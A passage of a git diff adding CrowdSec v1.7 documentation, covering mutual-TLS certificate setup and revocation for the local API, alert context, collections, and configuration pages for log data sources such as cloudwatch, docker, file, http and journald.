"localhost" + ] + } +``` + +Lastly, we will define our bouncer certificate, `bouncer.json`: + +```json +{ + "CN": "mybouncer", + "key": { + "algo": "rsa", + "size": 2048 + }, + "names": [ + { + "C": "FR", + "L": "Paris", + "O": "Crowdsec", + "OU": "bouncer-ou", + "ST": "France" + } + ] + } +``` + +and `agent.json`: + +```json +{ + "CN": "myagent", + "key": { + "algo": "rsa", + "size": 2048 + }, + "names": [ + { + "C": "FR", + "L": "Paris", + "O": "Crowdsec", + "OU": "agent-ou", + "ST": "France" + } + ] + } +``` + +We can now create our CA and the certs: +```shell +#generate the CA +cfssl gencert --initca ./cfssl/ca.json 2>/dev/null | cfssljson --bare "/tmp/ca" +#Generate an intermediate certificate that will be used to sign the client certificates +cfssl gencert --initca ./cfssl/intermediate.json 2>/dev/null | cfssljson --bare "/tmp/inter" +cfssl sign -ca "/tmp/ca.pem" -ca-key "/tmp/ca-key.pem" -config ./cfssl/profiles.json -profile intermediate_ca "/tmp/inter.csr" 2>/dev/null | cfssljson --bare "/tmp/inter" +#Generate a server side certificate +cfssl gencert -ca "/tmp/inter.pem" -ca-key "/tmp/inter-key.pem" -config ./cfssl/profiles.json -profile=server ./cfssl/server.json 2>/dev/null | cfssljson --bare "/tmp/server" +#Generate a client certificate for the bouncer +cfssl gencert -ca "/tmp/inter.pem" -ca-key "/tmp/inter-key.pem" -config ./cfssl/profiles.json -profile=client ./cfssl/bouncer.json 2>/dev/null | cfssljson --bare "/tmp/bouncer" +#Generate a client certificate for the agent +cfssl gencert -ca "/tmp/inter.pem" -ca-key "/tmp/inter-key.pem" -config ./cfssl/profiles.json -profile=client ./cfssl/agent.json 2>/dev/null | cfssljson --bare "/tmp/agent" +``` + +### Configuration + + +We now need to update LAPI configuration to use our newly generated certificates by editing `/etc/crowdsec/config.yaml`: +```yaml +api: + server: + tls: + cert_file: /tmp/server.pem #Server side cert + key_file: /tmp/server-key.pem #Server side key + ca_cert_path: /tmp/inter.pem #CA used to verify the client certs + bouncers_allowed_ou: #OU allowed for bouncers + - bouncer-ou + agents_allowed_ou: #OU allowed for agents + - agent-ou +``` + +We also need to update our agent configuration to use a certificate to login to LAPI in `/etc/crowdsec/local_api_credentials.yaml`: + +```yaml +url: https://localhost:8081 +ca_cert_path: /tmp/inter.pem #CA to trust the server certificate +key_path: /tmp/agent-key.pem #Client key +cert_path: /tmp/agent.pem #Client cert +``` + +### Using the certificates + + +Now when we restart crowdsec, we will see in the logs that a new agent was creating automatically: +``` +INFO[26-04-2022 13:42:36] TLSAuth: no OCSP Server present in client certificate, skipping OCSP verification component=tls-auth type=agent +WARN[26-04-2022 13:42:36] no crl_path, skipping CRL check component=tls-auth type=agent +INFO[26-04-2022 13:42:36] client OU [agent-ou] is allowed vs required OU [agent-ou] component=tls-auth type=agent +INFO[26-04-2022 13:42:36] machine myagent@127.0.0.1 not found, create it +INFO[26-04-2022 13:42:36] 127.0.0.1 - [Tue, 26 Apr 2022 13:42:36 CEST] "POST /v1/watchers/login HTTP/2.0 200 117.853833ms "crowdsec/v1.3.3-rc2-55-g0988e03a-darwin-0988e03ab8b77ad08874266cf623e71396a68c6c" " +INFO[26-04-2022 13:42:36] client OU [agent-ou] is allowed vs required OU [agent-ou] component=tls-auth type=agent +INFO[26-04-2022 13:42:36] 127.0.0.1 - [Tue, 26 Apr 2022 13:42:36 CEST] "POST /v1/watchers/login HTTP/2.0 200 1.267458ms "crowdsec/v1.3.3-rc2-55-g0988e03a-darwin-0988e03ab8b77ad08874266cf623e71396a68c6c" " +``` + +We can see the agent with `cscli`: +```shell +$ cscli machines list +------------------------------------------------------------------------------------------------------------------------------------------------- + NAME IP ADDRESS LAST UPDATE STATUS VERSION AUTH TYPE +------------------------------------------------------------------------------------------------------------------------------------------------- + myagent@127.0.0.1 127.0.0.1 2022-04-26T11:42:36Z ✔️ v1.3.3-rc2-55-g0988e03a-darwin-0988e03ab8b77ad08874266cf623e71396a68c6c tls +------------------------------------------------------------------------------------------------------------------------------------------------- +``` + +We see that the agent name was automatically derived from the certificate Common Name and agent IP address. + +We can simulate a bouncer request using `curl`: + +```shell +$ curl --cacert /tmp/inter.pem --cert /tmp/bouncer.pem --key /tmp/bouncer-key.pem https://localhost:8081/v1/decisions/stream?startup=true +{"deleted":[{"duration":"-18h13m35.223932s","id":38,"origin":"crowdsec","scenario":"crowdsecurity/http-cve-2021-41773","scope":"Ip","type":"ban","value":"23.94.26.138"}],"new":null} +``` + +Because this is the first time this "bouncer" makes a request to LAPI, a new bouncer will be automatically created in crowdsec database. As with the agent, the name of the bouncer is `CN@IP`: + +```shell +$ cscli bouncers list +---------------------------------------------------------------------------------------- + NAME IP ADDRESS VALID LAST API PULL TYPE VERSION AUTH TYPE +---------------------------------------------------------------------------------------- + mybouncer@127.0.0.1 127.0.0.1 ✔️ 2022-04-26T11:45:25Z curl 7.79.1 tls +---------------------------------------------------------------------------------------- +``` + +If we try to use the agent certificate with our fake bouncer, LAPI with return an error as the OU is not allowed for the bouncers: + +```shell +$ curl --cacert /tmp/inter.pem --cert /tmp/agent.pem --key /tmp/agent-key.pem https://localhost:8081/v1/decisions/stream\?startup\=true +{"message":"access forbidden"} +``` + +And in crowdsec logs: +``` +ERRO[26-04-2022 13:47:58] invalid client certificate: client certificate OU ([agent-ou]) doesn't match expected OU ([bouncer-ou]) ip=127.0.0.1 +``` + +Now, if we revoke the certificate used by the bouncer, crowdsec will reject any request made using this certificate: + +```shell +#serials.txt contain the serial of the bouncer certificate +$ cfssl gencrl serials.txt /tmp/inter.pem /tmp/inter-key.pem | base64 -d | openssl crl -inform DER -out /tmp/crl.pem +``` + +Let's update crowdsec config to make use of our newly generated CRL: +```yaml +api: + server: + tls: + crl_path: /tmp/crl.pem +``` + +Let's query the API again: +```shell +$ curl --cacert /tmp/inter.pem --cert /tmp/bouncer.pem --key /tmp/bouncer-key.pem https://localhost:8081/v1/decisions/stream\?startup\=true +{"message":"access forbidden"} +``` + +And we can see in crowdsec logs that the request was denied: +``` +ERRO[26-04-2022 14:01:00] TLSAuth: error checking if client certificate is revoked: could not check for client certification revokation status: client certificate is revoked by CRL component=tls-auth type=bouncer +ERRO[26-04-2022 14:01:00] invalid client certificate: could not check for client certification revokation status: could not check for client certification revokation status: client certificate is revoked by CRL ip=127.0.0.1 +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/alert_context/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/alert_context/intro.md new file mode 100644 index 000000000..9404d8bf1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/alert_context/intro.md @@ -0,0 +1,47 @@ +--- +id: intro +title: Alert Context +--- + +## Introduction + +As the [Log Processor](log_processor/intro.mdx) processes logs, it will detect patterns of interest known as [Scenarios](/log_processor/scenarios/introduction.mdx). When a scenario is detected, an alert is generated and sent to the [Local API](local_api/intro.md) (LAPI) for evaluation. + +When the alert is generated you can define additional Alert Context that can be sent along with the alert to give you context about the alert. This can be useful when you host multiple applications on the same server and you want to know which application generated the alert. + +### Format + +The format of Alert Context are key value pairs that are sent along with the alert. When you install some [Collections](/log_processor/collections/introduction.md) you will see that they come with Alert Context pre-configured. + +For example if you install the `crowdsecurity/nginx` collection you will see that the `http_base` context is added: + +```yaml +#this context file is intended to provide minimal and useful information about HTTP scenarios. +context: + target_uri: + - evt.Meta.http_path + user_agent: + - evt.Meta.http_user_agent + method: + - evt.Meta.http_verb + status: + - evt.Meta.http_status +``` + +Contexts are stored within the `contexts` directory within the root of the `config` directory, you can see the directory based on your OS [here](/u/troubleshooting/security_engine#where-is-configuration-stored). + +:::info +As an example the default directory for linux is `/etc/crowdsec/` so the `contexts` directory would be `/etc/crowdsec/contexts/` +::: + +Here a quick breakdown of the context file: + +- `context` : This is the root key of the context file. +- `target_uri` : This is the key that will be used as the "name" of the context. +- `evt.Meta.http_path` : This is the expression that will be evaluated to get the value of the context. In this case it will be the `http_path` field from the event. + +The next key value pair would be `user_agent` and so on. + +## Next Steps? + +We have written a full guide on Alert Context that you can find [here](/u/user_guides/alert_context). This guide will show you how to create your own Alert Context and how to use it within your scenarios. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/format.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/format.md new file mode 100644 index 000000000..ff11eca81 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/format.md @@ -0,0 +1,90 @@ +--- +id: format +title: Format +sidebar_position: 2 +--- + +## Scenario configuration example + + +```yaml title=/etc/crowdsec/collections/linux.yaml +#the list of parsers it contains +parsers: + - crowdsecurity/syslog-logs + - crowdsecurity/geoip-enrich + - crowdsecurity/dateparse-enrich +#the list of collections it contains +collections: + - crowdsecurity/sshd +# the list of postoverflows it contains +# postoverflows: +# - crowdsecurity/seo-bots-whitelist +# the list of scenarios it contains +# scenarios: +# - crowdsecurity/http-crawl-non_statics +description: "core linux support : syslog+geoip+ssh" +author: crowdsecurity +tags: + - linux +``` + +## Collection directives + + +### `parsers` + + +```yaml +parsers: +``` + +List of parsers to include in the collection. + + +### `scenarios` + +```yaml +scenarios: +``` + +List of scenarios to include in the collection. + +### `postoverflows` + +```yaml +postoverflows: +``` + +List of postoverflows to include in the collection. + +The `description` is mandatory. + +It is a quick sentence describing what it detects. + +### `description` + +```yaml +description: +``` + +The `description` is mandatory. + +It is a quick sentence describing what it detects. + +### `author` + +```yaml +author: +``` + +The name of the author. + + +### `tags` + +```yaml +tags: +``` + +List of tags. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/introduction.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/introduction.md new file mode 100644 index 000000000..bc2608e6a --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/collections/introduction.md @@ -0,0 +1,9 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +Collections are bundle of parsers, scenarios, postoverflows that form a coherent package. + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/appsec.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/appsec.md new file mode 100644 index 000000000..676bc72d6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/appsec.md @@ -0,0 +1,69 @@ +--- +id: appsec +title: Application Security Component +--- + + +This module allows you to enable the `Application Security Component` as a data source. + +A more detailed documentation is available [here](/docs/next/appsec/intro). + +A quickstart tutorial is available for [Nginx/OpenResty](/docs/next/appsec/quickstart/nginxopenresty) and [Traefik](/docs/next/appsec/quickstart/traefik). + +## Configuration example + +To start an Application Security Component on port 7422, listening on 127.0.0.1, using the `crowdsecurity/vpatch` config: + +```yaml +source: appsec +listen_addr: 127.0.0.1:7422 +path: / +appsec_config: crowdsecurity/virtual-patching +labels: + type: appsec +``` + +## Parameters + +### `listen_addr` + +The address and port to listen on. +Defaults to `127.0.0.1:7442`. + +### `path` + +The path the Application Security Component will respond to. +Defaults to `/`. + +### `appsec_configs` + +The name of the appsec-config to use (as seen in `cscli appsec-configs list`). + +### `appsec_config` + +**Deprecated**, use [`appsec_configs`](#appsec_configs) + +### `appsec_config_path` + +**Deprecated**, use [`appsec_configs`](#appsec_configs) + +### `routines` + +Number of routines to use to process the requests. Defaults to 1. + +### `auth_cache_duration` + +How long to cache the auth token for. Accepts value supported by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration). +Defaults to 1m. + +### `cert_file` + +Path to the cert file to allow HTTPS communication between the remediation component and the appsec component. + +### `key_file` + +Path to the key file to allow HTTPS communication between the remediation component and the appsec component. + +## DSN and command-line + +This module does not support acquisition from the command line. \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/cloudwatch.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/cloudwatch.md new file mode 100644 index 000000000..a59915851 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/cloudwatch.md @@ -0,0 +1,115 @@ +--- +id: cloudwatch +title: AWS Cloudwatch +--- + +This module allows the `Security Engine` to acquire logs from AWS's cloudwatch service, in one-shot and streaming mode. + +:::info + +Instead of using this datasource, we recommend setting up a log subscription filter in your AWS account to push the logs to a kinesis stream, and use the [kinesis datasource](/log_processor/data_sources/kinesis.md) to read them. + +::: + +## Configuration example + +To monitor a given stream within a group : + +```yaml +source: cloudwatch +log_level: info + +group_name: /aws/my/group/ +stream_name: 'given_stream' +aws_profile: monitoring +aws_config_dir: /home/user/.aws/ +labels: + type: apigateway +``` + +To monitor streams matching regexp within a group : + +```yaml +source: cloudwatch +group_name: /aws/my/group/ +stream_regexp: '^stream[0-9]+$' +aws_profile: monitoring +labels: + type: apigateway +``` + +Look at the `configuration parameters` to view all supported options. + +## Parameters + + +### `group_name` + +Name of the group to monitor, exact match. + +### `stream_regexp` + +A RE2 expression that will restrict streams within the group that will be monitored. + +### `stream_name` + +Name of stream to monitor, exact match. + +### `*_limit` + + - describelogstreams_limit : control the pagination size of describelogstreams calls (default: `1000`) + - getlogeventspages_limit : control the pagination size of getlogeventspages calls (default: `1000`) + +### `*_interval` + +> note : AWS SDK allows to identify streams according to the timestamp of the latest even within, and this is what we rely on. + + - poll_new_stream_interval : frequency to poll for new stream within given group (default `10s`) + - max_stream_age : open only streams for which last event is at most this age (default `5m`) + - poll_stream_interval : frequency to poll for new events within given group (default `10s`) + - stream_read_timeout : stop reading a given stream when no new events have been seen for this duration (default `10m`) + +### `prepend_cloudwatch_timestamp` + +When set to `true` (default: `false`), prepend the cloudwatch event timestamp to the generated log string. This is intended for cases where you log itself wouldn't contain timestamp. + +### `aws_profile` + +The aws profile to use to poll cloudwatch, relies on your `~/.aws/config/`. + +### `aws_config_dir` + +The path to your `~/.aws/`, defaults to `/root/.aws`. + +### `source` + +Must be `cloudwatch` + +## DSN and command-line + +cloudwatch implements a very approximative DSN, as follows : `cloudwatch:///your/group/path:stream_name?[args]` + +Supported args are : + + - `log_level` : set log level of module + - `profile` : set aws profile name + - `start_date` / `end_date` : provide start and end date limits for events, see [supported formats](https://hub.crowdsec.net/author/crowdsecurity/configurations/dateparse-enrich) + - `backlog` : provide a duration, events from now()-duration till now() will be read + + +A 'pseudo DSN' must be provided: + +```bash +crowdsec -type nginx -dsn 'cloudwatch:///?backlog=12h&profile=' +``` + +You can specify the `log_level` parameter to change the log level for the acquisition : + +```bash +crowdsec -type nginx -dsn 'cloudwatch:///?backlog=12h&profile=&log_level=debug' +``` + +# Notes + +This data source lacks unit tests because mocking aws sdk is fastidious. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/docker.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/docker.md new file mode 100644 index 000000000..95c5f987d --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/docker.md @@ -0,0 +1,172 @@ +--- +id: docker +title: Docker +--- + +This module allows the `Security Engine` to acquire logs from running containers, in one-shot and streaming mode. + +## Configuration example + +To monitor a given container name or ID: + +```yaml +source: docker +container_name: + - my_container_name +container_id: + - 843ee92d231b +labels: + type: log_type +``` + +To monitor containers name or ID matching a regex: + +```yaml +source: docker +container_name_regexp: + - my_containers_* +container_id_regexp: + - i-* +labels: + type: log_type +``` + +Look at the `configuration parameters` to view all supported options. + +## Parameters + + +### `container_name` + +List of containers names to monitor. + +### `container_id` + +List of containers IDs to monitor. + +### `container_name_regexp` + +List of regexp matching containers names to monitor. + +### `container_id_regexp` + +List of regexp matching containers ID to monitor. + +### `docker_host` + +Docker host. + +Default: `unix:///var/run/docker.sock` + +### `until` + +Read logs until timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes). + +### `since` + +Read logs since timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes). + +### `check_interval` + +Relative interval (e.g. 5s for 5 seconds) to check for new containers matching the configuration. + +Default: `1s` + +### `follow_stdout` + +Follow `stdout` containers logs. + +Default: `true` + +### `follow_stderr` + +Follow `stderr` container logs. + +Default: `true` + +### `use_container_labels` + +Forces the use of container labels to get the log type. Meaning you can define a single docker datasource and let the labels of the container define the log type. + +```yaml +source: docker +use_container_labels: true +``` + +Currently here is the list of reserved labels for the container: + +`crowdsec.enable` : Enable crowdsec acquisition for this container the value must be set to `crowdsec.enable=true` for the container to be adopted. + +`crowdsec.labels` : Top level key that will parse into the labels struct for the acquisition, for example `crowdsec.labels.type=nginx` will be parsed to the following: + +```yaml +labels: + type: nginx +``` + +Here is an example of running a nginx container with the labels: + +```bash +docker run -d --label crowdsec.enable=true --label crowdsec.labels.type=nginx nginx:alpine +``` + + +## DSN and command-line + +docker datasource implements a very approximative DSN, as follows : `docker://?[args]` + +Supported args are : + + - `log_level` : set log level of module + - `until` : read logs until timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes) + - `since` : read logs since timestamp (e.g. 2013-01-02T13:23:37Z) or relative (e.g. 42m for 42 minutes) + - `docker_host` : docker host, can be a remote docker host or a path to another container socket + - `follow_stderr`: follow `stderr` container logs + - `follow_stdout` : follow `stdout` container logs + +A 'pseudo DSN' must be provided: + +```bash +crowdsec -type nginx -dsn 'docker://my_nginx_container_name' +``` + +You can specify the `log_level` parameter to change the log level for the acquisition : + +```bash +crowdsec -type nginx -dsn 'docker://my_nginx_container_name?log_level=debug' +``` + +## Notes + +### Containers watching + +This module will automatically read the logs of containers specified in the configuration, even if they have been started after crowdsec start. + +### Reading podman containers + + +:::note + +Don't forget to start podman service with `sudo systemctl start podman`. + +Run your podman containers as `root`, else `CrowdSec` will not be able to read the logs. + +::: + + +If you want to read Podman containers logs, you can set the `docker_host` to `unix:///run/podman/podman.sock` or to the path of your Podman socket. + +```yaml title="Configuration file" +source: docker +container_name_regexp: + - my_containers_* +container_id_regexp: + - i-* +labels: + type: log_type +docker_host: unix:///var/run/podman/podman.sock +``` + +```bash title="Command line" +crowdsec -type nginx -dsn 'docker://my_nginx_container_name?docker_host=unix:///run/podman/podman.sock&log_level=debug' +``` \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/file.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/file.md new file mode 100644 index 000000000..1a107b5a0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/file.md @@ -0,0 +1,90 @@ +--- +id: file +title: File(s) +--- + + +This module allows the `Security Engine` to acquire logs from text files (in one-shot and streaming mode), and GZ files in one-shot mode. + +## Configuration example + +A basic configuration is as follows: + +```yaml +source: file +filenames: + - /tmp/foo/*.log + - /var/log/syslog +labels: + type: syslog + +``` + +## Parameters + +### `filename` + +A single path to a file to tail. Globbing is supported. Required if `filenames` is not provided. + +### `filenames` + +A list of path to files to tail. Globbing is supported. Required if `filename` is not provided. + +### `force_inotify` +> default: `false` + +If set to `true`, force an inotify watch on the log files folder, even if there is no log in it. + +### `source` + +Must be `file`. + +### `exclude_regexps` + +A list of regular expressions to exclude from the acquisition. Can be used to exclude files from a glob pattern (ie, `*` but not `*.log.gz`). + +### `poll_without_inotify` + +:::info +This was not the default for version 1.4.6 and below. So users upgrading to 1.5 may encounter some issues with certain file systems. See [this issue](https://github.com/crowdsecurity/crowdsec/issues/2223) +::: + +> default: `false` + +If set to `true`, will poll the files using `os.Stat` instead of using inotify. This is useful if you want to watch files on a network share, for example. However, this will increase CPU usage significantly per file that is open. + + +## DSN and command-line + +This module supports acquisition directly from the command line, to read files in one shot. + +A single file URI is accepted with the `-dsn` parameter, but globbing is supported for multiple files: + +```bash +crowdsec -type syslog -dsn file:///var/log/*.log +``` + +### Supported parameters + +#### `log_level` + +Change the log level for the acquisition: + +```bash +crowdsec -type syslog -dsn file:///var/log/*.log?log_level=info +``` + +#### `max_buffer_size` + +Maximum length of a single line. + +Defaults to 65536. + +```bash +crowdsec -type syslog -dsn file:///var/log/*.log?max_buffer_size=42000 +``` + +## Notes + +By default, if a glob pattern does not match any files in an existing directory, this directory will not be watched for new files (ie, `/var/log/nginx/*.log` does not match, but `/var/log/nginx/` exists). +You can override this behaviour with the `force_inotify` parameter, which will put a watch on the directory. \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/http.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/http.md new file mode 100644 index 000000000..c3a589483 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/http.md @@ -0,0 +1,226 @@ +--- +id: http +title: HTTP +--- + +This module allows the `Security Engine` to acquire logs from an HTTP endpoint. + +## Configuration examples + +To receive logs from an HTTP endpoint with basic auth: +```yaml +source: http +listen_addr: 127.0.0.1:8081 +path: /test +auth_type: basic_auth +basic_auth: + username: test + password: test +labels: + type: mytype +``` + +To receive logs from an HTTP endpoint with headers: +```yaml +source: http +listen_addr: 127.0.0.1:8081 +path: /test +auth_type: headers +headers: + MyHeader: MyValue +labels: + type: mytype +``` + +To receive logs from an HTTP endpoint with TLS and headers: + +```yaml +source: http +listen_addr: 127.0.0.1:8081 +path: /test +auth_type: headers +headers: + MyHeader: MyValue +tls: + server_cert: server.crt + server_key: server.key +labels: + type: mytype +``` + +To receive logs from an HTTP endpoint with mTLS: + +```yaml +source: http +listen_addr: 127.0.0.1:8081 +path: /test +auth_type: mtls +tls: + server_cert: server.crt + server_key: server.key + ca_cert: ca.crt +labels: + type: mytype +``` + +Look at the `Parameters` section to view all supported options. + +## Body format + +The datasource expects to receive one or multiple JSON objects. + +The datasource will also automatically decompress any request body in `gzip` format, as long as the `Content-Encoding` header is set to `gzip`. + +The JSON object can be any format, crowdsec will pass it as-is to the parsers. + +If you are sending multiple JSON object in the same request, they must be separated by a newline (NDJSON format): +```json +{"log": "log line 1", "timestamp": "2021-01-01T00:00:00Z"} +{"log": "log line 2", "timestamp": "2021-01-01T00:00:01Z"} +``` + +The objects will be processed by the parsers one-by-one. + +If you send multiple log lines in a single JSON object, you can use a [transform](/docs/log_processor/data_sources/introduction.md#transform) expression to generate multiple events: + +```json +{ + "Records": [ + { + "message": "test", + "timestamp": "2021-01-01T00:00:00Z" + }, + { + "message": "test2", + "timestamp": "2021-01-01T00:00:01Z" + } + ] +} +``` + +Using the following `transform` expression will make the datasource generate one event per entry in the array: +```yaml +transform: | + map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#)) +``` + + +## Status code and supported methods + +The HTTP datasource expects to receive logs in a `POST` request, and will return a `200 OK`. + +If an invalid body is received (invalid JSON), a `400 Bad Request` code will be returned. + +The datasource will return a `200 OK` to `GET` and `HEAD` requests if the credentials provided in the request are valid. + +A `405 Method Not Allowed` code will be returned for any other methods. + +If the credentials provided are invalid, a `401 Unauthorized` code will be returned. + +If the body size is bigger than the configured limit, a `413 Request Entity Too Large` code will be returned. + +## Parameters + + +### `listen_addr` + +The address to listen on (e.g., `127.0.0.1:8088`). + +At least one of `listen_addr` or `listen_socket` is required. + +### `listen_socket` + +Unix socket to listen on (e.g., `/var/run/crowdsec_http.sock`). + +At least one of `listen_addr` or `listen_socket` is required. + +### `path` + +The endpoint path to listen on. + +Optional, default is `/`. + +### `auth_type` + +The authentication type to use. + +Can be `basic_auth`, `headers`, or `mtls`. + +Required. + +### `basic_auth` + +The basic auth credentials. + +### `basic_auth.username` + +The basic auth username. + +Optional, to use when `auth_type` is `basic_auth`. + +### `basic_auth.password` + +The basic auth password. + +Optional, to use when `auth_type` is `basic_auth`. + +### `headers` + +The headers to send. + +Optional, to use when `auth_type` is `headers`. + +### `tls` + +TLS configuration. + +### `tls.server_cert` + +The server certificate path. + +Optional, to use when `auth_type` is `mtls`. + +### `tls.server_key` + +The server key path. + +Optional, to use when `auth_type` is `mtls`. + +### `tls.ca_cert` + +The CA certificate path. + +Optional, to use when `auth_type` is `mtls`. + +### `custom_status_code` + +The custom status code to return. + +Optional. + +### `custom_headers` + +The custom headers to return. + +Optional. + +### `max_body_size` + +The maximum body size to accept. + +Optional. + +### `timeout` + +The timeout to read the body. + +:::info +The timeout is in duration format, e.g., `5s`. +::: + +Optional. + +## DSN and command-line + +This datasource does not support acquisition from the command line. + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/introduction.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/introduction.md new file mode 100644 index 000000000..25aff98c5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/introduction.md @@ -0,0 +1,114 @@ +--- +id: intro +title: Acquisition Datasources +sidebar_position: 1 +--- + +To monitor applications, the Security Engine needs to read logs. +DataSources define where to access them (either as files, or over the network from a centralized logging service). + +They can be defined: + +- in [Acquisition files](/configuration/crowdsec_configuration.md#acquisition_path). Each file can contain multiple DataSource definitions. This configuration can be generated automatically, please refer to the [Service Discovery documentation](/log_processor/service-discovery-setup/intro.md) +- for cold log analysis, you can also specify acquisitions via the command line. + + +## Datasources modules + +Name | Type | Stream | One-shot +-----|------|--------|---------- +[Appsec](/log_processor/data_sources/appsec.md) | expose HTTP service for the Appsec component | yes | no +[AWS cloudwatch](/log_processor/data_sources/cloudwatch.md) | single stream or log group | yes | yes +[AWS kinesis](/log_processor/data_sources/kinesis.md)| read logs from a kinesis stream | yes | no +[AWS S3](/log_processor/data_sources/s3.md)| read logs from a S3 bucket | yes | yes +[docker](/log_processor/data_sources/docker.md) | read logs from docker containers | yes | yes +[file](/log_processor/data_sources/file.md) | single files, glob expressions and .gz files | yes | yes +[HTTP](/log_processor/data_sources/http.md) | read logs from an HTTP endpoint | yes | no +[journald](/log_processor/data_sources/journald.md) | journald via filter | yes | yes +[Kafka](/log_processor/data_sources/kafka.md)| read logs from kafka topic | yes | no +[Kubernetes Audit](/log_processor/data_sources/kubernetes_audit.md) | expose a webhook to receive audit logs from a Kubernetes cluster | yes | no +[Loki](/log_processor/data_sources/loki.md) | read logs from loki | yes | yes +[VictoriaLogs](/log_processor/data_sources/victorialogs.md) | read logs from VictoriaLogs | yes | yes +[syslog service](/log_processor/data_sources/syslog_service.md) | read logs received via syslog protocol | yes | no +[Windows Event](/log_processor/data_sources/windows_event_log.md)| read logs from windows event log | yes | yes + +## Common configuration parameters + +Those parameters are available in all datasources. + +### `log_level` + +Log level to use in the datasource. Defaults to `info`. + +### `source` + +Which type of datasource to use. It is mandatory except for file acquisition. + +### `transform` + +An expression that will run after the acquisition has read one line, and before the line is sent to the parsers. + +It allows to modify an event (or generate multiple events from one line) before parsing. + +For example, if you acquire logs from a file containing a JSON object on each line, and each object has a `Records` array with multiple events, you can use the following to generate one event per entry in the array: + +``` +map(JsonExtractSlice(evt.Line.Raw, "Records"), ToJsonString(#)) +``` + +The expression must return: + - A string: it will replace `evt.Line.Raw` in the event + - A list of strings: One new event will be generated based on the source event per element in the list. Each element will replace the `evt.Line.Raw` from the source event. + +If the expression returns an error or an invalid type, the event will not be modified before sending it to the parsers. + +### `use_time_machine` + +By default, when reading logs in real-time, crowdsec will use the time at which the log was read as the log timestamp instead of extracting it from the log itself. + +Setting this option to `true` will force crowdsec to use the timestamp from the log as the time of the event. + +It is mandatory to set this if your application buffers logs before writing them (for example, IIS when writing to a log file, or logs written to S3 from almost any AWS service).
+If not set, then crowdsec will think all logs happened at once, which can lead to some false positive detections. + +### `labels` + +A map of labels to add to the event. +The `type` label is mandatory, and used by the Security Engine to choose which parser to use. + +## Acquisition configuration examples + +```yaml title="/etc/crowdsec/acquis.d/nginx.yaml" +filenames: + - /var/log/nginx/*.log +labels: + type: nginx +``` + +```yaml title="/etc/crowdsec/acquis.d/linux.yaml" +filenames: + - /var/log/auth.log + - /var/log/syslog +labels: + type: syslog +``` + +```yaml title="/etc/crowdsec/acquis.d/docker.yaml" +source: docker +container_name_regexp: + - .*caddy* +labels: + type: caddy +--- +source: docker +container_name_regexp: + - .*nginx* +labels: + type: nginx +``` + +:::warning +The `labels` and `type` fields are necessary to dispatch the log lines to the right parser. + +In the last example we defined multiple datasources separated by the line `---`, which is the standard YAML marker. +::: diff --git a/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/journald.md b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/journald.md new file mode 100644 index 000000000..b6bd1de9f --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/log_processor/data_sources/journald.md @@ -0,0 +1,79 @@ +--- +id: journald +title: Journald +--- + + +This module allows the `Security Engine` to acquire logs from journalctl files in one-shot and streaming mode. + +## Configuration example + +To monitor SSH logs from journald: + +```yaml +source: journalctl +journalctl_filter: + - "_SYSTEMD_UNIT=ssh.service" +labels: + type: syslog +``` + +Rather to specify each systemd service, you could also decide to acquire more informations from journald by referrencing a filter from _TRANSPORT + +```yaml +--- +source: journalctl +journalctl_filter: + - "_TRANSPORT=journal" +labels: + type: syslog +--- +source: journalctl +journalctl_filter: + - "_TRANSPORT=syslog" +labels: + type: syslog +--- +source: journalctl +journalctl_filter: + - "_TRANSPORT=stdout" +labels: + type: syslog +--- +source: journalctl +journalctl_filter: + - "_TRANSPORT=kernel" +labels: + type: syslog +--- +``` +## Parameters + +### `journalctl_filter` + +A list of journalctl filters. This is mandatory. + +:::info +this list is transformed into arguments passed to the journalctl binary, so any [arguments supported by journalctl](https://www.man7.org/linux/man-pages/man1/journalctl.1.html) can be defined here +::: + +### `source` + +Must be `journalctl` + + +## DSN and command-line + +This module supports acquisition directly from the command line, to read journalctl logs in one shot. + +A 'pseudo DSN' must be provided: + +```bash +crowdsec -type syslog -dsn 